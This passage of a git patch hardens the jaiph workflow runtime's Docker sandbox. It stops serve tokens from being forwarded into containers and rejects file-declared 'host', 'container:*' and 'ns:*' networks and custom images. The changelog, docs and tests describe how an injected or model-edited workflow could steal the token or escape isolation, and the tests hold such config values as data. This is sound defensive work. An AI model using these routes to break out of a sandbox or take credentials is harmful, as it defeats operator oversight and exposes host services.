serve` HTTP API — starts with `JAIPH_`, so every workflow the server invoked inherited `-e JAIPH_SERVE_TOKEN=` (along with `JAIPH_SERVE_OIDC_*` and the other host-only server keys), even though the in-container runtime never reads them; a malicious or injected workflow could read the token, send it off the machine over the default-on network, and authenticate back to the server as the operator (full invoke / inspect / cancel). The allowlist now excludes the whole `JAIPH_SERVE_*` family: a new `ENV_ALLOW_EXCLUDE_SERVE_PREFIX` joins the existing `JAIPH_DOCKER_*` carve-out in a shared `ENV_ALLOW_EXCLUDE_PREFIXES` list (`src/runtime/kernel/env-allowlist.ts`), so `isEnvAllowed` returns false for `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_OIDC_*`, and every other `JAIPH_SERVE_*` key on both boundaries — the Docker forwarding loop (`src/runtime/docker.ts`) and the `scrubPromptEnv` prompt-backend scrub — so the token reaches neither a container nor an LLM subprocess. Runtime-consumed `JAIPH_*` control keys that workflows legitimately need, such as `JAIPH_DEBUG` and `JAIPH_WORKSPACE`, still cross the boundary. Tests: `src/runtime/docker.test.ts` (a Docker run with the token set forwards no `-e JAIPH_SERVE_TOKEN` or `JAIPH_SERVE_OIDC_ISSUER`; `isEnvAllowed` rejects the serve keys and keeps the control keys) and `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` drops the serve keys and keeps a control key), plus the src-parity harness now checks every exclude prefix appears in the docs. Docs: the updated forwarding-allowlist paragraph and a host-only note on the `JAIPH_SERVE_TOKEN` row in [Environment variables](docs/env-vars.md), the env-exposure exclusion note in [Sandboxing](docs/sandboxing.md), and the host-side-token note in [Serve workflows over HTTP](docs/serve.md). diff --git a/QUEUE.md b/QUEUE.md index 0feda6fd..b7eaf8ee 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Restrict `docker_network` / `docker_image` to host control #dev-ready - -Context: ASI-03/ASI-08, MEDIUM, confidence 0.80. Finding M-6 — a workflow file can gut the sandbox it runs in. - -Problem: When the operator has not set `JAIPH_DOCKER_NETWORK`, the entry file's `runtime.docker_network` wins over `default` and is emitted verbatim as `--network ` (`docker.ts:151-155`, `:828-830`); the in-file value from `config { runtime { … } }` (`config.ts:104-112`) is never content-validated (`validate-config.ts` checks only `${}` interpolation identifiers). `docker_network = "host"` launches the container in the host network namespace — reaching loopback-only services (a local DB, another `jaiph serve` on 127.0.0.1, a metadata endpoint) and binding host ports; `container:`/`ns:*` join another namespace. `runtime.docker_image` likewise points the sandbox at an arbitrary image. A repo-supplied or model-edited workflow shipping `config { runtime { docker_network = "host" } }` runs with host networking while still appearing "sandboxed." - -Location: `src/runtime/docker.ts:151-155`, `:828-830`; `src/config.ts:104-112`; `src/transpile/validate-config.ts`. - -Remediation: Treat `runtime.docker_network` and `runtime.docker_image` as host-controlled only (the way `runtime.docker_enabled` is already parse-rejected), or validate against an allowlist (`default`, `none`, named bridge networks) and reject `host` / `container:*` / `ns:*` unless supplied via operator env/flag. - -### Acceptance criteria -- An entry file declaring `config { runtime { docker_network = "host" } }` does not produce `--network host` unless the operator supplied it via env/flag; a test asserts the file-declared value is rejected or overridden. -- File-declared `docker_network` values of `container:*` and `ns:*` are rejected (a test asserts rejection). -- A file-declared `docker_image` is not honoured unless host-controlled (or is validated against the intended policy); a test asserts the behaviour. -- Operator-supplied `JAIPH_DOCKER_NETWORK` / image (env/flag) still takes effect (a test asserts the host-controlled path works). - ## Require operator opt-in before honouring entry-file `trusted_envs` #dev-ready Context: ASI-08, MEDIUM, confidence 0.75. Finding M-7 — a file-declared `trusted_envs` injects arbitrary host secrets into the sandbox, bypassing the allowlist. diff --git a/docs/architecture.md b/docs/architecture.md index 1aef70d2..9ed13fc9 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -93,7 +93,7 @@ All orchestration uses the Node workflow runtime, which is the AST interpreter, - `jaiph format` rewrites `.jh` / `.test.jh` files into canonical style. `emitModule(ast, trivia, opts?)` reads the semantic AST together with the parallel **`Trivia`** store ([Trivia (CST layer)](#trivia-cst-layer)) to round-trip leading comments, top-level order, `config` body sequence, `"""..."""` and `bareSource` forms, the original quotedness of top-level `const` values (`EnvDeclDef.wasQuoted` — `true` for `"…"` / `"""…"""` sources, `undefined` for bare tokens — so a quoted value is never silently rewritten as bare based on whether it contains a space), and prompt / script body discriminators. Step emission switches on `WorkflowStepDef.type` (8 variants) and an `emitExpr` helper switches on `Expr.kind` (8 kinds) — there are no dual code paths for "managed sidecar vs literal value" because that branch was removed from the AST. Call arguments render straight off the typed `Arg[]` — `var` → bare name, `literal` → raw — so the formatter no longer re-parses any args string or consults a `bareIdentifierArgs` shadow field. Pure data→text emitter; no side-effects beyond file writes. Round-trip is bit-for-bit on every fixture under `examples/` and `test-fixtures/golden-ast/fixtures/` — pinned by `src/format/roundtrip.test.ts`, which asserts `parse → format → parse → format` converges in one step on every fixture. - **Docker runtime helper (`src/runtime/docker.ts`)** - - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker's default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. + - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). **Host-controlled image/network (finding M-6):** an entry file is untrusted, so when Docker is the active sandbox `resolveDockerConfig` rejects a file-declared `runtime.docker_image` (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared isolation-breaking `runtime.docker_network` — `host`, `container:*`, `ns:*`, anything that is not `default` / `none` / a plain named bridge network (`isHostSafeInFileNetwork`) — (`E_DOCKER_NETWORK_HOST_ONLY`). The operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` remain trusted and are used verbatim (they may even select `host`); host-safe in-file network values are still honoured. When Docker is off these keys are inert and not enforced. On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker's default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. - **Workspace immutability:** By default Docker runs cannot modify the host workspace. In the default **snapshot** mode the host takes a writable point-in-time clone of the workspace at run start (`/sandbox`, via `cloneWorkspaceForSandbox` in `src/runtime/docker.ts`) and bind-mounts that clone read-write at `/jaiph/workspace`; the live host checkout is never mounted, and the clone is discarded on exit. The clone content is **git-defined**: for a git workspace it is exactly `git ls-files --cached --others --exclude-standard` plus `.git/` wholesale (gitignored files — `node_modules/`, `.env`, build output — are absent, never scanned); git is the sole ignore oracle (no reimplemented gitignore matcher). A non-git workspace (no `.git` at the root, or `git ls-files` fails) falls back to copying everything. See [Sandboxing — What the snapshot contains](sandboxing.md#snapshot-content). The only host-writable path is `/jaiph/run` (run artifacts), and the snapshot source under it is masked from the container with a tmpfs at `/jaiph/run/sandbox`. Workflows that need to capture workspace changes should write files (for example a `git diff` into a temp path) and publish them with `artifacts.save()`. The explicit opt-in **inplace** mode (truthy **`JAIPH_INPLACE`** — `1` or `true`, or `jaiph run --inplace`) breaks this contract on purpose — the host workspace itself is bind-mounted read-write so the run's edits persist live on the host, with the rest of the sandbox (caps, env allowlist, mount set) unchanged. See [Sandboxing](sandboxing.md) for the full contract and [Save artifacts](artifacts.md). - **Container teardown on interrupt / timeout:** `spawnDockerProcess` assigns every container a deterministic `--name` (`jaiph-run-`, emitted immediately after `run --rm`) so it can be force-removed by name later. A `docker run --rm` container can outlive its host `docker` client (Docker Desktop / detached behaviour), so killing the client's process tree alone does not guarantee the container stops. On SIGINT/SIGTERM the run's `onSignalCleanup` calls **`stopDockerRunOnSignal`**, and the run-timeout kill (`E_TIMEOUT`) calls **`stopDockerContainer`** directly — both run `docker kill ` (bounded 5 s) then `docker rm -f ` (bounded 10 s), best-effort, so the `--rm` container disappears from `docker ps` within a bounded window. Splitting kill from rm avoids macOS Docker Desktop lock contention where a single `docker rm -f` on a still-running container can block for the full timeout. Order matters: the container is stopped **before** `cleanupDocker` removes the host workspace snapshot at `/sandbox`, because that snapshot is bind-mounted into the container. The MCP per-call cancel path (`src/cli/mcp/call.ts`) applies the same teardown — `stopDockerContainer` then `cancelRunProcess`. Both sandbox modes (snapshot, inplace) share this contract. See [Sandboxing — interrupting a Docker run](sandboxing.md#interrupting-a-docker-run). diff --git a/docs/configuration.md b/docs/configuration.md index 4c7b417b..b5c58166 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -127,11 +127,11 @@ These configure the Docker sandbox. Allowed in **module-level** config only. The | Key | Type | Default | Env equivalent | Notes | |---|---|---|---|---| -| `runtime.docker_image` | string | `ghcr.io/jaiphlang/jaiph-runtime:` | `JAIPH_DOCKER_IMAGE` | Container image. Must already contain `jaiph` (`E_DOCKER_NO_JAIPH` otherwise). | -| `runtime.docker_network` | string | `default` | `JAIPH_DOCKER_NETWORK` | `docker run --network` value. `none` disables egress. | +| `runtime.docker_image` | string | `ghcr.io/jaiphlang/jaiph-runtime:` | `JAIPH_DOCKER_IMAGE` | Container image. Must already contain `jaiph` (`E_DOCKER_NO_JAIPH` otherwise). **Host-controlled:** an in-file value is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) when Docker is the active sandbox; set a non-default image only through `JAIPH_DOCKER_IMAGE`. | +| `runtime.docker_network` | string | `default` | `JAIPH_DOCKER_NETWORK` | `docker run --network` value. `none` disables egress. **Host-controlled for isolation-breaking values:** an in-file `host`, `container:*`, or `ns:*` is rejected (`E_DOCKER_NETWORK_HOST_ONLY`) when Docker is the active sandbox — these dissolve the sandbox network boundary. Host-safe in-file values (`default`, `none`, a named bridge network) are honoured; the operator may still select any value, including `host`, through `JAIPH_DOCKER_NETWORK`. | | `runtime.docker_timeout_seconds` | integer | `14400` | `JAIPH_DOCKER_TIMEOUT` | Container execution timeout in seconds. `0` disables. Negative or invalid env value produces `E_DOCKER_TIMEOUT`. | -In-file `runtime.docker_enabled` is not supported (`E_PARSE`); use the env-only enablement below. +In-file `runtime.docker_enabled` is not supported (`E_PARSE`); use the env-only enablement below. In the same spirit, `runtime.docker_image` and isolation-breaking `runtime.docker_network` values are host-controlled: a repo- or model-supplied entry file cannot point the sandbox at an arbitrary image or gut its network isolation (finding M-6). When Docker is off (host / `JAIPH_UNSAFE` mode) these keys are inert and not enforced. ## Docker enablement diff --git a/docs/env-vars.md b/docs/env-vars.md index 1b68f707..070a6a89 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -29,7 +29,7 @@ The table below covers every `JAIPH_*` name read from `process.env` or `env` in 1. **CLI flags** (`--workspace`, `--env`, `--inplace`, `--unsafe`, `--yes`). A flag sets the corresponding `JAIPH_*` variable on that process's launched env, so the env layer below stays the single source Jaiph reads when it resolves the sandbox. 2. **`JAIPH_*` environment variables** (this table). -3. **Workflow runtime metadata**, from the entry file's `config { runtime { … } }` keys such as `docker_image` and `docker_network`. +3. **Workflow runtime metadata**, from the entry file's `config { runtime { … } }` keys such as `docker_image` and `docker_network`. This layer is untrusted (repo- or model-supplied): `docker_image` and isolation-breaking `docker_network` values (`host`, `container:*`, `ns:*`) are **host-controlled** — a file-declared value is rejected when Docker is the active sandbox (`E_DOCKER_IMAGE_HOST_ONLY` / `E_DOCKER_NETWORK_HOST_ONLY`), so only the env layer above can set them (finding M-6). 4. **Built-in defaults.** Precedence never resolves a contradiction between the two sandbox postures. Setting `--inplace` or `JAIPH_INPLACE` together with `--unsafe` or `JAIPH_UNSAFE` fails with `E_FLAG_CONFLICT` before Jaiph spawns anything, in all three commands. @@ -63,9 +63,9 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_DEBUG` | host, runtime | bool (exact `"true"`) | `false` | `run.debug` | Enable debug tracing for the run. | | `JAIPH_DEBUG_LOCKED` | internal | bool | — | — | Lock flag for `JAIPH_DEBUG`. | | `JAIPH_DOCKER_ENABLED` | host | bool (exact `true`) | — | — | Force Docker on (`true`) or off (any other value). When unset, Docker is on unless `JAIPH_UNSAFE=true`. Ignored on Windows (`win32`), where the sandbox is out of scope and runs are always host-only. | -| `JAIPH_DOCKER_IMAGE` | host | string | `ghcr.io/jaiphlang/jaiph-runtime:` | `runtime.docker_image` | Container image. Must already contain `jaiph`. | +| `JAIPH_DOCKER_IMAGE` | host | string | `ghcr.io/jaiphlang/jaiph-runtime:` | `runtime.docker_image` (host-controlled) | Container image. Must already contain `jaiph`. The in-file `runtime.docker_image` is rejected when Docker is the active sandbox (`E_DOCKER_IMAGE_HOST_ONLY`); only this env var selects a non-default image. | | `JAIPH_DOCKER_KEEP_SANDBOX` | host | bool (`1` / `true`) | `false` | — | Snapshot mode only — when enabled, leave the host-side workspace snapshot at `/sandbox` on disk after exit for debugging. | -| `JAIPH_DOCKER_NETWORK` | host | string (`default`, `none`, or named network) | `default` | `runtime.docker_network` | `docker run --network` value. `none` disables egress. | +| `JAIPH_DOCKER_NETWORK` | host | string (`default`, `none`, or named network) | `default` | `runtime.docker_network` (host-controlled for `host` / `container:*` / `ns:*`) | `docker run --network` value. `none` disables egress. This env var is trusted and used verbatim (it may even be `host`). A file-declared `host` / `container:*` / `ns:*` is rejected (`E_DOCKER_NETWORK_HOST_ONLY`) when Docker is the active sandbox; host-safe in-file values (`default`, `none`, named bridge) are still honoured. | | `JAIPH_DOCKER_TIMEOUT` | host | int (seconds) | `14400` (4h) | `runtime.docker_timeout_seconds` | Container execution timeout. `0` disables. Invalid values produce `E_DOCKER_TIMEOUT`. | | `JAIPH_INBOX_MAX_DISPATCH` | runtime | int | `1000` | — | Maximum inbox messages a single workflow frame may drain before aborting with `E_INBOX_DISPATCH_LIMIT`. | | `JAIPH_INBOX_PARALLEL` | — | — | — | — | Unused — the runtime does not read this variable (tests assert setting it has no effect on inbox dispatch order). | @@ -201,6 +201,8 @@ The error codes below surface during Docker-backed `jaiph run` invocations. Jaip | `E_DOCKER_NOT_FOUND` | `docker info` fails (Docker not installed or daemon not running). | Run exits before launch. No fallback to local execution. Not reachable on Windows, where the CLI resolves to host-only mode without probing `docker`. | | `E_DOCKER_PULL` | `docker pull` fails (network error, image not found, auth failure). | Run exits before launch. | | `E_DOCKER_NO_JAIPH` | Selected image does not contain a `jaiph` CLI. | Run exits before launch. | +| `E_DOCKER_IMAGE_HOST_ONLY` | Entry file declares `runtime.docker_image` while Docker is the active sandbox and no `JAIPH_DOCKER_IMAGE` was set. The image is host-controlled. | Run exits before launch. | +| `E_DOCKER_NETWORK_HOST_ONLY` | Entry file declares an isolation-breaking `runtime.docker_network` (`host`, `container:*`, `ns:*`) while Docker is the active sandbox and no `JAIPH_DOCKER_NETWORK` was set. | Run exits before launch. | | `E_DOCKER_RUNS_DIR` | Absolute `JAIPH_RUNS_DIR` points outside the workspace. | Run exits before launch. | | `E_DOCKER_TIMEOUT` | `JAIPH_DOCKER_TIMEOUT` is empty, non-numeric, negative, or has trailing junk; or `runtime.docker_timeout_seconds` is negative. | Run exits before launch. | | `E_DOCKER_UID` | Linux host UID/GID detection failed. | Run exits before launch. | diff --git a/docs/sandboxing.md b/docs/sandboxing.md index fea258bb..34557076 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -107,7 +107,7 @@ The Docker sandbox is built to limit the damage from untrusted or semi-trusted w The following list covers what Docker does not defend, on purpose. -- **Outbound network egress is on by default.** The sandbox passes `--network none` only when configuration sets the Docker network mode to `none`, through `JAIPH_DOCKER_NETWORK` or the module key `runtime.docker_network` (see [the runtime Docker keys](configuration.md#runtime-docker-keys)). When the mode is the default value `default`, no `--network` flag is passed and the container uses Docker's bridge with outbound access. A script can then reach outside services and send data off the machine over the network. +- **Outbound network egress is on by default.** The sandbox passes `--network none` only when configuration sets the Docker network mode to `none`, through `JAIPH_DOCKER_NETWORK` or the module key `runtime.docker_network` (see [the runtime Docker keys](configuration.md#runtime-docker-keys)). When the mode is the default value `default`, no `--network` flag is passed and the container uses Docker's bridge with outbound access. A script can then reach outside services and send data off the machine over the network. Isolation-breaking network modes (`host`, `container:*`, `ns:*`) are **host-controlled**: a file-declared value is rejected (`E_DOCKER_NETWORK_HOST_ONLY`), so a repo- or model-supplied workflow cannot join the host network namespace to reach loopback-only services or bind host ports — only the operator can select those through `JAIPH_DOCKER_NETWORK`. - **Agent credentials cross the boundary.** The credential keys of the run's backends (`ANTHROPIC_API_KEY` or `CLAUDE_CODE_OAUTH_TOKEN`, `CURSOR_API_KEY`, `OPENAI_API_KEY`) are forwarded so agent-backed workflows can work, including the `codex` HTTP backend. Because outbound network is on by default, treat these credentials as fully readable by anything that runs inside the container. Backends the entry file does not select get nothing forwarded. - **Hooks run on the host.** Hook commands from `.jaiph/hooks.json`, merged with `~/.jaiph/hooks.json`, run in the host CLI process, not inside the container, and they have full host access. Hook config is trusted. - **You are responsible for the image supply chain.** Jaiph checks that the selected image contains a working `jaiph` binary, but it does not check image signatures or where the image came from. Use trusted registries, and pin image digests for anything you depend on. @@ -259,7 +259,7 @@ Set the backend with `agent.backend = "cursor" | "claude" | "codex"`. For creden The workspace snapshot is taken on the host, with no support needed inside the image, so the image ships no packages specific to the sandbox. -You can use a custom image through `JAIPH_DOCKER_IMAGE` or `runtime.docker_image`. The selected image must already contain `jaiph`, or the run fails with `E_DOCKER_NO_JAIPH`. Project-specific extras, such as several language versions, database servers, or cloud CLIs beyond the defaults, belong in a workspace override image, not in the published default. +You can use a custom image through `JAIPH_DOCKER_IMAGE`. The image is **host-controlled**: a file-declared `runtime.docker_image` is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) when Docker is the active sandbox, so a repo- or model-supplied entry file cannot point the sandbox at an arbitrary image — only the operator selects it via `JAIPH_DOCKER_IMAGE`. The selected image must already contain `jaiph`, or the run fails with `E_DOCKER_NO_JAIPH`. Project-specific extras, such as several language versions, database servers, or cloud CLIs beyond the defaults, belong in a workspace override image, not in the published default. ## Related diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 4b366c9e..b545bee4 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -115,6 +115,7 @@ TEST_SCRIPTS=( "e2e/tests/148_standalone_image.sh" "e2e/tests/151_serve_transports_docker.sh" "e2e/tests/150_k8s_deploy.sh" + "e2e/tests/153_docker_network_host_control.sh" "e2e/tests/210_standalone_binary.sh" ) diff --git a/e2e/tests/153_docker_network_host_control.sh b/e2e/tests/153_docker_network_host_control.sh new file mode 100755 index 00000000..15da7a0c --- /dev/null +++ b/e2e/tests/153_docker_network_host_control.sh @@ -0,0 +1,144 @@ +#!/usr/bin/env bash +# +# Docker network/image are host-controlled (finding M-6). A repo- or model- +# supplied entry file must not be able to gut the sandbox it runs in: +# - `config { runtime { docker_network = "host" } }` → E_DOCKER_NETWORK_HOST_ONLY +# - `docker_network = "container:*"` / `"ns:*"` → E_DOCKER_NETWORK_HOST_ONLY +# - `config { runtime { docker_image = "…" } }` → E_DOCKER_IMAGE_HOST_ONLY +# The rejection fires at config resolution (before Docker is probed), so these +# legs need no Docker daemon. The operator env override (JAIPH_DOCKER_NETWORK / +# JAIPH_DOCKER_IMAGE) is trusted and still takes effect — that leg is gated on +# Docker availability. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "docker_network_host_control" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +# Local negative-substring assertion (no shared harness helper for this). +assert_absent() { + local haystack="$1" needle="$2" label="$3" + if [[ "${haystack}" == *"${needle}"* ]]; then + printf "Expected output to NOT contain: %s\n" "${needle}" >&2 + printf "Output was:\n%s\n" "${haystack}" >&2 + e2e::fail "${label}" + fi + e2e::pass "${label}" +} + +# Run `jaiph run` with Docker enabled and capture combined output + exit code. +# JAIPH_DOCKER_ENABLED=true makes Docker the active sandbox so the host-control +# checks engage; the rejection aborts before the daemon is contacted. +run_docker_enabled() { + local file="$1" + shift + set +e + RUN_OUT="$(cd "${TEST_DIR}" && env JAIPH_DOCKER_ENABLED=true "$@" jaiph run "${file}" 2>&1)" + RUN_CODE=$? + set -e +} + +# --------------------------------------------------------------------------- +# AC1: file-declared docker_network = "host" is rejected before launch +# --------------------------------------------------------------------------- +e2e::section "file-declared docker_network host is rejected (E_DOCKER_NETWORK_HOST_ONLY)" + +e2e::file "net_host.jh" <<'EOF' +config { + runtime.docker_network = "host" +} +workflow default() { + log "should-not-run" +} +EOF + +run_docker_enabled "${TEST_DIR}/net_host.jh" +e2e::assert_equals "${RUN_CODE}" "1" "docker_network host exits 1" +# Substring: stderr also carries a credential/preflight preamble that is not +# pinned here; the actionable error code is the contract under test. +e2e::assert_contains "${RUN_OUT}" "E_DOCKER_NETWORK_HOST_ONLY" "host network rejected with actionable code" +assert_absent "${RUN_OUT}" "should-not-run" "workflow body never ran (aborted before launch)" + +# --------------------------------------------------------------------------- +# AC2: namespace-joining networks (container:* / ns:*) are rejected +# --------------------------------------------------------------------------- +e2e::section "file-declared docker_network container:* / ns:* is rejected" + +e2e::file "net_container.jh" <<'EOF' +config { + runtime.docker_network = "container:other" +} +workflow default() { + log "should-not-run" +} +EOF + +run_docker_enabled "${TEST_DIR}/net_container.jh" +e2e::assert_equals "${RUN_CODE}" "1" "docker_network container:* exits 1" +e2e::assert_contains "${RUN_OUT}" "E_DOCKER_NETWORK_HOST_ONLY" "container:* network rejected" + +e2e::file "net_ns.jh" <<'EOF' +config { + runtime.docker_network = "ns:/proc/1/ns/net" +} +workflow default() { + log "should-not-run" +} +EOF + +run_docker_enabled "${TEST_DIR}/net_ns.jh" +e2e::assert_equals "${RUN_CODE}" "1" "docker_network ns:* exits 1" +e2e::assert_contains "${RUN_OUT}" "E_DOCKER_NETWORK_HOST_ONLY" "ns:* network rejected" + +# --------------------------------------------------------------------------- +# AC3: file-declared docker_image is rejected (host-controlled) +# --------------------------------------------------------------------------- +e2e::section "file-declared docker_image is rejected (E_DOCKER_IMAGE_HOST_ONLY)" + +e2e::file "img_file.jh" <<'EOF' +config { + runtime.docker_image = "ubuntu:24.04" +} +workflow default() { + log "should-not-run" +} +EOF + +run_docker_enabled "${TEST_DIR}/img_file.jh" +e2e::assert_equals "${RUN_CODE}" "1" "docker_image from file exits 1" +e2e::assert_contains "${RUN_OUT}" "E_DOCKER_IMAGE_HOST_ONLY" "file-declared image rejected with actionable code" +assert_absent "${RUN_OUT}" "should-not-run" "workflow body never ran (aborted before launch)" + +# --------------------------------------------------------------------------- +# AC4: operator-supplied JAIPH_DOCKER_NETWORK / JAIPH_DOCKER_IMAGE take effect, +# overriding the file's host-controlled values without rejection. Gated on +# Docker availability (this leg launches a real container). +# --------------------------------------------------------------------------- +e2e::section "operator env override of network/image takes effect" + +if ! command -v docker >/dev/null 2>&1 || ! docker info >/dev/null 2>&1; then + e2e::skip "Docker unavailable — operator-override leg skipped" + exit 0 +fi +if ! e2e::ensure_docker_test_image; then + e2e::skip "Could not build local Docker test image — operator-override leg skipped" + exit 0 +fi + +# The file declares docker_network = "host" (which would otherwise be rejected); +# the operator overrides it to the safe `none` via env, and pins the image via +# env. The run must proceed to completion — proving the trusted host-controlled +# path still works and overrides the file value. +override_out="$(cd "${TEST_DIR}" \ + && JAIPH_DOCKER_ENABLED=true \ + JAIPH_DOCKER_NETWORK=none \ + JAIPH_DOCKER_IMAGE="${E2E_DOCKER_TEST_IMAGE}" \ + jaiph run "${TEST_DIR}/net_host.jh" 2>&1)" +# Substring: the banner/footer carry non-deterministic timing + paths; the +# workflow's own output and the absence of the rejection code are the contract. +e2e::assert_contains "${override_out}" "should-not-run" "operator override lets the run proceed to completion" +assert_absent "${override_out}" "E_DOCKER_NETWORK_HOST_ONLY" "operator env override bypasses the file-value gate" diff --git a/src/runtime/docker.test.ts b/src/runtime/docker.test.ts index e3a1e4b3..16a3048d 100644 --- a/src/runtime/docker.test.ts +++ b/src/runtime/docker.test.ts @@ -118,23 +118,82 @@ test("resolveDefaultDockerImageTag: falls back to embedded VERSION when no packa assert.equal(resolveDefaultDockerImageTag(runtimeDir), VERSION); }); -test("resolveDockerConfig: in-file image/timeout overrides defaults (dockerEnabled removed)", () => { - const cfg = resolveDockerConfig( - { dockerImage: "alpine:3.19", dockerTimeoutSeconds: 60 }, - {}, - ); +test("resolveDockerConfig: in-file timeout still overrides default (host-controlled image aside)", () => { + const cfg = resolveDockerConfig({ dockerTimeoutSeconds: 60 }, {}); assert.equal(cfg.enabled, true, "enabled defaults to true (no JAIPH_UNSAFE)"); - assert.equal(cfg.image, "alpine:3.19"); + assert.ok(cfg.image.startsWith(GHCR_IMAGE_REPO + ":"), "image stays the trusted default"); assert.equal(cfg.timeoutSeconds, 60); }); -test("resolveDockerConfig: env overrides in-file image", () => { +// AC3: a file-declared runtime.docker_image is host-controlled — it must NOT be +// honoured. With no operator JAIPH_DOCKER_IMAGE, an in-file image is rejected. +test("resolveDockerConfig: file-declared docker_image is rejected (host-controlled)", () => { + assert.throws( + () => resolveDockerConfig({ dockerImage: "alpine:3.19" }, {}), + /E_DOCKER_IMAGE_HOST_ONLY/, + ); +}); + +// AC4: operator-supplied JAIPH_DOCKER_IMAGE takes effect and overrides any +// in-file value without error (env is the trusted, host-controlled path). +test("resolveDockerConfig: env image is honoured and overrides in-file image", () => { const cfg = resolveDockerConfig( { dockerImage: "alpine:3.19" }, { JAIPH_DOCKER_ENABLED: "false", JAIPH_DOCKER_IMAGE: "debian:12" }, ); assert.equal(cfg.enabled, false); assert.equal(cfg.image, "debian:12"); + assert.equal(cfg.imageExplicit, true); +}); + +// AC1: a file-declared docker_network = "host" must not select host networking. +test("resolveDockerConfig: file-declared docker_network host is rejected", () => { + assert.throws( + () => resolveDockerConfig({ dockerNetwork: "host" }, {}), + /E_DOCKER_NETWORK_HOST_ONLY/, + ); +}); + +// AC2: namespace-joining file-declared networks are rejected. +test("resolveDockerConfig: file-declared docker_network container:* is rejected", () => { + assert.throws( + () => resolveDockerConfig({ dockerNetwork: "container:other" }, {}), + /E_DOCKER_NETWORK_HOST_ONLY/, + ); +}); + +test("resolveDockerConfig: file-declared docker_network ns:* is rejected", () => { + assert.throws( + () => resolveDockerConfig({ dockerNetwork: "ns:/proc/1/ns/net" }, {}), + /E_DOCKER_NETWORK_HOST_ONLY/, + ); +}); + +// Host-safe in-file networks are still honoured (default / none / named bridge). +test("resolveDockerConfig: host-safe in-file docker_network values are honoured", () => { + assert.equal(resolveDockerConfig({ dockerNetwork: "none" }, {}).network, "none"); + assert.equal(resolveDockerConfig({ dockerNetwork: "default" }, {}).network, "default"); + assert.equal(resolveDockerConfig({ dockerNetwork: "my-bridge_1" }, {}).network, "my-bridge_1"); +}); + +// AC1/AC4: the operator may still select host networking via env, even when the +// file also declares it — env is trusted and used verbatim (no rejection). +test("resolveDockerConfig: operator JAIPH_DOCKER_NETWORK=host takes effect over file value", () => { + const cfg = resolveDockerConfig( + { dockerNetwork: "host" }, + { JAIPH_DOCKER_NETWORK: "host" }, + ); + assert.equal(cfg.network, "host"); +}); + +// Host-mode parity: when Docker is off (JAIPH_UNSAFE), the network/image config +// is inert — a file declaring unsafe values must NOT break the host-mode run. +test("resolveDockerConfig: file-declared docker_network host is inert (no throw) when Docker off", () => { + const cfg = resolveDockerConfig( + { dockerNetwork: "host", dockerImage: "alpine:3.19" }, + { JAIPH_UNSAFE: "true" }, + ); + assert.equal(cfg.enabled, false); }); test("resolveDockerConfig: CI=true does NOT disable Docker (CI runs the real sandbox path)", () => { @@ -728,10 +787,13 @@ test("resolveDockerConfig: imageExplicit is true when env sets image", () => { assert.equal(cfg.image, "alpine:3.19"); }); -test("resolveDockerConfig: imageExplicit is true when in-file sets image", () => { - const cfg = resolveDockerConfig({ dockerImage: "alpine:3.19" }, {}); - assert.equal(cfg.imageExplicit, true); - assert.equal(cfg.image, "alpine:3.19"); +test("resolveDockerConfig: in-file image does not set imageExplicit (it is rejected)", () => { + // In-file docker_image is host-controlled: it never selects the image, so it + // can never make imageExplicit true — it is 